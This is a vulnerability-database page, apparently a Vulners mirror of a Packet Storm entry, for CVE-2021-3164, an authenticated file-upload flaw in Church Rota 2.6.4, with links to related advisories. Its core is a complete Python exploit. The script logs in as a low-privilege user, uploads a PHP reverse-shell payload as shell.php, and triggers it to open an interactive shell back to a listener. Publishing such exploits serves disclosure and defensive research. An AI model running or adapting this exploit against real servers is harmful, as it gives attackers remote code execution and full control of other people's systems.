Lucene search
K

Church Rota 2.6.4 Shell Upload

🗓️ 20 Jan 2021 00:00:00Reported by Rob McCarthyType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 140 Views

Church Rota 2.6.4 Shell Upload. Vulnerable to authenticated remote code execution utilizing PHP payload

Related
Code
ReporterTitlePublishedViews
Family
GithubExploit
Exploit for Unrestricted Upload of File with Dangerous Type in Churchdesk Churchrota
20 Jan 202102:48
githubexploit
Circl
CVE-2021-3164
14 Nov 202406:07
circl
CNNVD
Churchdesk Church Rota Code Issue Vulnerability
20 Jan 202100:00
cnnvd
CVE
CVE-2021-3164
21 Jan 202105:45
cve
Cvelist
CVE-2021-3164
21 Jan 202105:45
cvelist
NVD
CVE-2021-3164
26 Jan 202118:16
nvd
OSV
CVE-2021-3164
26 Jan 202118:16
osv
Prion
Design/Logic Flaw
26 Jan 202118:16
prion
RedhatCVE
CVE-2021-3164
22 May 202520:31
redhatcve
`import requests  
from pwn import listen  
  
############################################################################################################  
# CVE-2021-3164  
# Church Rota version 2.6.4 is vulnerable to authenticated remote code execution. #  
# The user does not need to have file upload permission in order to upload and execute an arbitrary file. #  
# The application is written primarily with PHP so we use PHP in our PoC #  
############################################################################################################  
  
# credentials of the low privilege user  
USERNAME='slixperi'  
PASSWORD='slixperi'  
  
LISTENER_IP = '127.0.0.1'  
LISTENER_PORT = '4444'  
TARGET_IP = '127.0.0.1'  
TARGET_PORT = '8081'  
  
# set the credentials for login POST  
credentials = {"username":USERNAME,"password":PASSWORD}  
# create a session to preserve session state  
sesh = requests.session()  
# login as our low-privilege user (normally only admins can upload files)  
sesh.post(f"http://{TARGET_IP}:{TARGET_PORT}/login.php", data=credentials)  
  
# define the payload  
payload = f"<?php $sock=fsockopen(\"{LISTENER_IP}\",{LISTENER_PORT});$proc=proc_open(\"/bin/sh -i\", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes); ?>"  
  
# file upload  
sesh.headers.update({"Referer": f"http://{TARGET_IP}:{TARGET_PORT}/resources.php?action=new"})  
files = {'resourcefile': ("shell.php", payload)}  
sesh.post(f"http://{TARGET_IP}:{TARGET_PORT}/resources.php?action=newsent", files=files)  
  
l = listen(LISTENER_PORT)  
  
# execute the file  
sesh.get(f"http://{TARGET_IP}:{TARGET_PORT}/documents/shell.php")  
  
l.interactive()  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation